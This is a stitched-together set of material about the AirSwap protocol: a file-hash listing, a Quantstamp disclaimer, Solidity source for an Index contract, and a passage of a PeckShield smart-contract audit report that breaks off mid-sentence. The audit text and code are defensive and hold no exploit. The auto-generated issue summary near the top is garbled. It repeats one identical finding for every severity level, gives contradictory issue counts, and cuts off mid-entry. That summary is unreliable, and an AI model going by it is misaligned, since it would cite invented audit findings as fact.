./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 2.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Moderate 3.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 3.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Major 4.a Problem (one line with code reference) - Unchecked return value in AirSwapExchange.sol:L717 4.b Fix (one line with code reference) - Check return value in AirSwapExchange.sol:L717 Critical 5.a Problem (one line with code reference) - Unchecked return value in Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: • Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. • Integer arithmetic may cause incorrect pricing logic. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed with the latest commit.
/* Copyright 2019 Swap Holdings Ltd. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; /** * @title Index: A List of Locators * @notice The Locators are sorted in reverse order based on the score * meaning that the first element in the list has the largest score * and final element has the smallest * @dev A mapping is used to mimic a circular linked list structure * where every mapping Entry contains a pointer to the next * and the previous */ contract Index is Ownable { // The number of entries in the index uint256 public length; // Identifier to use for the head of the list address constant internal HEAD = address(uint160(2**160-1)); // Mapping of an identifier to its entry mapping(address => Entry) public entries; /** * @notice Index Entry * @param score uint256 * @param locator bytes32 * @param prev address Previous address in the linked list * @param next address Next address in the linked list */ struct Entry { bytes32 locator; uint256 score; address prev; address next; } /** * @notice Contract Events */ event SetLocator( address indexed identifier, uint256 score, bytes32 indexed locator ); event UnsetLocator( address indexed identifier ); /** * @notice Contract Constructor */ constructor() public { // Create initial entry. entries[HEAD] = Entry(bytes32(0), 0, HEAD, HEAD); } /** * @notice Set a Locator * @param identifier address On-chain address identifying the owner of a locator * @param score uint256 Score for the locator being set * @param locator bytes32 Locator */ function setLocator( address identifier, uint256 score, bytes32 locator ) external onlyOwner { // Ensure the entry does not already exist. require(!_hasEntry(identifier), "ENTRY_ALREADY_EXISTS"); // Find the first entry with a lower score. address nextEntry = _getEntryLowerThan(score); // Link the new entry between previous and next. address prevEntry = entries[nextEntry].prev; entries[prevEntry].next = identifier; entries[nextEntry].prev = identifier; entries[identifier] = Entry(locator, score, prevEntry, nextEntry); // Increment the index length. length = length + 1; emit SetLocator(identifier, score, locator); } /** * @notice Unset a Locator * @param identifier address On-chain address identifying the owner of a locator */ function unsetLocator( address identifier ) external onlyOwner { // Ensure the entry exists. require(_hasEntry(identifier), "ENTRY_DOES_NOT_EXIST"); // Link the previous and next entries together. address prevUser = entries[identifier].prev; address nextUser = entries[identifier].next; entries[prevUser].next = nextUser; entries[nextUser].prev = prevUser; // Delete entry from the index. delete entries[identifier]; // Decrement the index length. length = length - 1; emit UnsetLocator(identifier); } /** * @notice Get a Score * @param identifier address On-chain address identifying the owner of a locator * @return uint256 Score corresponding to the identifier */ function getScore( address identifier ) external view returns (uint256) { return entries[identifier].score; } /** * @notice Get a Locator * @param identifier address On-chain address identifying the owner of a locator * @return bytes32 Locator information */ function getLocator( address identifier ) external view returns (bytes32) { return entries[identifier].locator; } /** * @notice Get a Range of Locators * @dev start value of 0x0 starts at the head * @param cursor address Cursor to start with * @param limit uint256 Maximum number of locators to return * @return bytes32[] List of locators * @return uint256[] List of scores corresponding to locators * @return address The next cursor to provide for pagination */ function getLocators( address cursor, uint256 limit ) external view returns ( bytes32[] memory locators, uint256[] memory scores, address nextCursor ) { address identifier; // If a valid cursor is provided, start there. if (cursor != address(0) && cursor != HEAD) { // Check that the provided cursor exists. if (!_hasEntry(cursor)) { return (new bytes32[](0), new uint256[](0), address(0)); } // Set the starting identifier to the provided cursor. identifier = cursor; } else { identifier = entries[HEAD].next; } // Although it's not known how many entries are between `cursor` and the end // We know that it is no more than `length` uint256 size = (length < limit) ? length : limit; locators = new bytes32[](size); scores = new uint256[](size); // Iterate over the list until the end or size. uint256 i; while (i < size && identifier != HEAD) { locators[i] = entries[identifier].locator; scores[i] = entries[identifier].score; i = i + 1; identifier = entries[identifier].next; } return (locators, scores, identifier); } /** * @notice Check if the Index has an Entry * @param identifier address On-chain address identifying the owner of a locator * @return bool True if the identifier corresponds to an Entry in the list */ function _hasEntry( address identifier ) internal view returns (bool) { return entries[identifier].locator != bytes32(0); } /** * @notice Returns the largest scoring Entry Lower than a Score * @param score uint256 Score in question * @return address Identifier of the largest score lower than score */ function _getEntryLowerThan( uint256 score ) internal view returns (address) { address identifier = entries[HEAD].next; // Head indicates last because the list is circular. if (score == 0) { return HEAD; } // Iterate until a lower score is found. while (score <= entries[identifier].score) { identifier = entries[identifier].next; } return identifier; } } pragma solidity >=0.4.21 <0.6.0; contract Migrations { address public owner; uint public last_completed_migration; constructor() public { owner = msg.sender; } modifier restricted() { if (msg.sender == owner) _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } pragma solidity 0.5.12; contract Imports {}
Public SMART CONTRACT AUDIT REPORT for AirSwap Protocol Prepared By: Yiqun Chen PeckShield February 15, 2022 1/20 PeckShield Audit Report #: 2022-038Public Document Properties Client AirSwap Protocol Title Smart Contract Audit Report Target AirSwap Version 1.0 Author Xuxian Jiang Auditors Xiaotao Wu, Patrick Liu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author(s) Description 1.0 February 15, 2022 Xuxian Jiang Final Release 1.0-rc January 30, 2022 Xuxian Jiang Release Candidate #1 Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/20 PeckShield Audit Report #: 2022-038Public Contents 1 Introduction 4 1.1 About AirSwap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 9 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 3 Detailed Results 11 3.1 Proper Allowance Reset For Old Staking Contracts . . . . . . . . . . . . . . . . . . 11 3.2 Removal of Unused State/Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 3.3 Accommodation of Non-ERC20-Compliant Tokens . . . . . . . . . . . . . . . . . . . 14 3.4 Trust Issue of Admin Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 4 Conclusion 18 References 19 3/20 PeckShield Audit Report #: 2022-038Public 1 | Introduction Given the opportunity to review the design document and related source code of the AirSwapprotocol, we outline in the report our systematic approach to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistencies between smart contract code and design document, and provide additional suggestions or recommendations for improvement. Our results show that the given version of smart contracts can be further improved due to the presence of several issues related to either security or performance. This document outlines our audit results. 1.1 About AirSwap AirSwapcurates a peer-to-peer network for trading digital assets. The protocol is designed to protect traders from counterparty risk, price slippage, and front running. Any market participant can discover others and trade directly peer-to-peer. At the protocol level, each swap is between two parties, a signer and a sender. The signer is the party that creates and cryptographically signs an order, and the sender is the party that sends the order to the Ethereum blockchain for settlement. As a decentralized and open project, governance and community activities are also supported by rewards protocols built with on-chain components. The basic information of audited contracts is as follows: Table 1.1: Basic Information of AirSwap ItemDescription NameAirSwap Protocol Website https://www.airswap.io/ TypeSmart Contract Language Solidity Audit Method Whitebox Latest Audit Report February 15, 2022 In the following, we show the Git repository of reviewed files and the commit hash value used in this audit: 4/20 PeckShield Audit Report #: 2022-038Public •https://github.com/airswap/airswap-protocols.git (ac62b71) And this is the commit ID after all fixes for the issues found in the audit have been checked in: •https://github.com/airswap/airswap-protocols.git (84935eb) 1.2 About PeckShield PeckShield Inc. [10] is a leading blockchain security company with the goal of elevating the secu- rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading servicesandproducts(includingtheserviceofsmartcontractauditing). WearereachableatTelegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [9]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk. Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact, and can be accordingly classified into four categories, i.e., Critical,High,Medium,Lowshown in Table 1.2. 5/20 PeckShield Audit Report #: 2022-038Public Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead Of Transfer Costly Loop (Unsafe) Use Of Untrusted Libraries (Unsafe) Use Of Predictable Variables Transaction Ordering Dependence Deprecated Uses Semantic Consistency Checks Semantic Consistency Checks Advanced DeFi ScrutinyBusiness Logics Review Functionality Checks Authentication Management Access Control & Authorization Oracle Security Digital Asset Escrow Kill-Switch Mechanism Operation Trails & Event Generation ERC20 Idiosyncrasies Handling Frontend-Contract Integration Deployment Consistency Holistic Risk Management Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices 6/20 PeckShield Audit Report #: 2022-038Public To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool or analysis does not identify any issue, the contract is considered safe regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. In particular, we perform the audit according to the following procedure: •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •Semantic Consistency Checks: We then manually check the logic of implemented smart con- tracts and compare with the description in the white paper. •Advanced DeFiScrutiny: We further review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. To better describe each issue we identified, we categorize the findings with Common Weakness Enumeration (CWE-699) [8], which is a community-developed list of software weakness types to better delineate and organize weaknesses around concepts frequently encountered in software devel- opment. Though some categories used in CWE-699 may not be relevant in smart contracts, we use the CWE categories in Table 1.4 to classify our findings. Moreover, in case there is an issue that may affect an active protocol that has been deployed, the public version of this report may omit such issue, but will be amended with full details right after the affected protocol is upgraded with respective fixes. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/20 PeckShield Audit Report #: 2022-038Public Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit Category Summary Configuration Weaknesses in this category are typically introduced during the configuration of the software. Data Processing Issues Weaknesses in this category are typically found in functional- ity that processes data. Numeric Errors Weaknesses in this category are related to improper calcula- tion or conversion of numbers. Security Features Weaknesses in this category are concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management. (Software security is not security software.) Time and State Weaknesses in this category are related to the improper man- agement of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. Error Conditions, Return Values, Status CodesWeaknesses in this category include weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. Resource Management Weaknesses in this category are related to improper manage- ment of system resources. Behavioral Issues Weaknesses in this category are related to unexpected behav- iors from code that an application uses. Business Logics Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. Initialization and Cleanup Weaknesses in this category occur in behaviors that are used for initialization and breakdown. Arguments and Parameters Weaknesses in this category are related to improper use of arguments or parameters within function calls. Expression Issues Weaknesses in this category are related to incorrectly written expressions within code. Coding Practices Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an ex- ploitable vulnerability will be present in the application. They may not directly introduce a vulnerability, but indicate the product has not been carefully developed or maintained. 8/20 PeckShield Audit Report #: 2022-038Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the design and implementation of the AirSwap protocol smart contracts. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine system operations, and place DeFi-related aspects under scrutiny to uncover possible pitfalls and/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 3 Informational 0 Total 4 Wehavesofaridentifiedalistofpotentialissues: someoftheminvolvesubtlecornercasesthatmight not be previously thought of, while others refer to unusual interactions among multiple contracts. For each uncovered issue, we have therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis and internal discussion, we determined a few issues of varying severities need to be brought up and paid more attention to, which are categorized in the above table. More information can be found in the next subsection, and the detailed discussions of each of them are in Section 3. 9/20 PeckShield Audit Report #: 2022-038Public 2.2 Key Findings Overall, these smart contracts are well-designed and engineered, though the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 3low-severity vulnerabilities. Table 2.1: Key Audit Findings IDSeverity Title Category Status PVE-001 Low Proper Allowance Reset For Old Staking ContractsCoding Practices Fixed PVE-002 Low Removal of Unused State/Code Coding Practices Fixed PVE-003 Low Accommodation of Non-ERC20- Compliant TokensBusiness Logics Fixed PVE-004 Medium Trust Issue of Admin Keys Security Features Mitigated Beside the identified issues, we emphasize that for any user-facing applications and services, it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms should kick in at the very moment when the contracts are being deployed on mainnet. Please refer to Section 3 for details. 10/20 PeckShield Audit Report #: 2022-038Public 3 | Detailed Results 3.1 Proper Allowance Reset For Old Staking Contracts •ID: PVE-001 •Severity: Low •Likelihood: Low •Impact: Low•Target: Pool •Category: Coding Practices [6] •CWE subcategory: CWE-1041 [1] Description The AirSwapprotocol has a Poolcontract that supports the main functionality of staking and claims. It also allows the privileged owner to update the active staking contract stakingContract . In the following, we examine this specific setStakingContract() function. It comes to our attention that this function properly sets up the spending allowance to the new stakingContract . However, it forgets to cancel the previous spending allowance from the old stakingContract . 149 /** 150 * @notice Set staking contract address 151 * @dev Only owner 152 * @param _stakingContract address 153 */ 154 function setStakingContract ( address _stakingContract ) 155 external 156 override 157 onlyOwner 158 { 159 require ( _stakingContract != address (0) , " INVALID_ADDRESS "); 160 stakingContract = _stakingContract ; 161 IERC20 ( stakingToken ). approve ( stakingContract , 2**256 - 1); 162 } Listing 3.1: Pool::setStakingContract() 11/20 PeckShield Audit Report #: 2022-038Public Recommendation Remove the spending allowance from the old stakingContract when it is updated. Status This issue has been fixed in the following PR: 776. 3.2 Removal of Unused State/Code •ID: PVE-002 •Severity: Low •Likelihood: Low •Impact: Low•Target: Multiple Contracts •Category: Coding Practices [6] •CWE subcategory: CWE-563 [3] Description AirSwap makes good use of a number of reference contracts, such as ERC20,SafeERC20 , and SafeMath, to facilitate its code implementation and organization. For example, the Poolsmart contract has so far imported at least four reference contracts. However, we observe the inclusion of certain unused code or the presence of unnecessary redundancies that can be safely removed. For example, if we examine closely the Stakingcontract, there are a number of states that have beendefined. However,someofthemareneverused. Examplesinclude usedIdsand unlockTimestamps . These unused states can be safely removed. 37 // Mapping of account to delegate 38 mapping (address = >address )public a c c o u n t D e l e g a t e s ; 39 40 // Mapping of delegate to account 41 mapping (address = >address )public d e l e g a t e A c c o u n t s ; 42 43 // Mapping of timelock ids to used state 44 mapping (bytes32 = >bool )private u s e d I d s ; 45 46 // Mapping of ids to timestamps 47 mapping (bytes32 = >uint256 )private unlockTimestamps ; 48 49 // ERC -20 token properties 50 s t r i n g public name ; 51 s t r i n g public symbol ; Listing 3.2: The StakingContract Moreover, the Wrappercontract has a function sellNFT() , which is marked as payable, but its internal logic has explicitly restricted the following require(msg.value == 0) . As a result, both payable and the restriction can be removed together. 12/20 PeckShield Audit Report #: 2022-038Public 162 function sellNFT ( 163 uint256 nonce , 164 uint256 expiry , 165 address signerWallet , 166 address signerToken , 167 uint256 signerAmount , 168 address senderToken , 169 uint256 senderID , 170 uint8 v, 171 bytes32 r, 172 bytes32 s 173 ) public payable { 174 require ( msg . value == 0, " VALUE_MUST_BE_ZERO "); 175 IERC721 ( senderToken ). setApprovalForAll ( address ( swapContract ), true ); 176 IERC721 ( senderToken ). transferFrom ( msg. sender , address ( this ), senderID ); 177 swapContract . sellNFT ( 178 nonce , 179 expiry , 180 signerWallet , 181 signerToken , 182 signerAmount , 183 senderToken , 184 senderID , 185 v, 186 r, 187 s 188 ); 189 _unwrapEther ( signerToken , signerAmount ); 190 emit WrappedSwapFor ( msg . sender ); 191 } Listing 3.3: Wrapper::sellNFT() Recommendation Consider the removal of the redundant code with a simplified, consistent implementation. Status The issue has been fixed with the following PRs: 777, 778, and 779. 13/20 PeckShield Audit Report #: 2022-038Public 3.3 Accommodation of Non-ERC20-Compliant Tokens •ID: PVE-003 •Severity: Low •Likelihood: Low •Impact: High•Target: Multiple Contracts •Category: Business Logic [7] •CWE subcategory: CWE-841 [4] Description Though there is a standardized ERC-20 specification, many token contracts may not strictly follow the specification or have additional functionalities beyond the specification. In the following, we examine the transfer() routine and related idiosyncrasies from current widely-used token contracts. In particular, we use the popular stablecoin, i.e., USDT, as our example. We show the related code snippet below. On its entry of approve() , there is a requirement, i.e., require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))) . This specific requirement essentially indicates the need of reducing the allowance to 0first (by calling approve(_spender, 0) ) if it is not, and then calling a secondonetosettheproperallowance. Thisrequirementisinplacetomitigatetheknown approve()/ transferFrom() racecondition(https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729). 194 /** 195 * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg . sender . 196 * @param _spender The address which will spend the funds . 197 * @param _value The amount of tokens to be spent . 198 */ 199 function approve ( address _spender , uint _value ) public o n l y P a y l o a d S i z e (2 ∗32) { 201 // To change the approve amount you first have to reduce the addresses ‘ 202 // allowance to zero by calling ‘approve ( _spender , 0) ‘ if it is not 203 // already 0 to mitigate the race condition described here : 204 // https :// github . com / ethereum / EIPs / issues /20# issuecomment -263524729 205 require ( ! ( ( _value != 0) && ( a l l o w e d [ msg.sender ] [ _spender ] != 0) ) ) ; 207 a l l o w e d [ msg.sender ] [ _spender ] = _value ; 208 Approval ( msg.sender , _spender , _value ) ; 209 } Listing 3.4: USDT Token Contract Because of that, a normal call to approve() is suggested to use the safe version, i.e., safeApprove() , In essence, it is a wrapper around ERC20 operations that may either throw on failure or return false without reverts. Moreover, the safe version also supports tokens that return no value (and instead revert or throw on failure). Note that non-reverting calls are assumed to be successful. Similarly, there is a safe version of transfer() as well, i.e., safeTransfer() . 14/20 PeckShield Audit Report #: 2022-038Public 38 /** 39 * @dev Deprecated . This function has issues similar to the ones found in 40 * {IERC20 - approve }, and its usage is discouraged . 41 * 42 * Whenever possible , use { safeIncreaseAllowance } and 43 * { safeDecreaseAllowance } instead . 44 */ 45 function safeApprove ( 46 IERC20 token , 47 address spender , 48 uint256 value 49 ) internal { 50 // safeApprove should only be called when setting an initial allowance , 51 // or when resetting it to zero . To increase and decrease it , use 52 // ’ safeIncreaseAllowance ’ and ’ safeDecreaseAllowance ’ 53 require ( 54 ( value == 0) ( token . allowance ( address ( this ), spender ) == 0) , 55 " SafeERC20 : approve from non - zero to non - zero allowance " 56 ); 57 _callOptionalReturn (token , abi . encodeWithSelector ( token . approve . selector , spender , value )); 58 } Listing 3.5: SafeERC20::safeApprove() In the following, we show the unstake() routine from the Stakingcontract. If the USDTtoken is supported as token, the unsafe version of token.transfer(account, amount) (line 178) may revert as there is no return value in the USDTtoken contract’s transfer()/transferFrom() 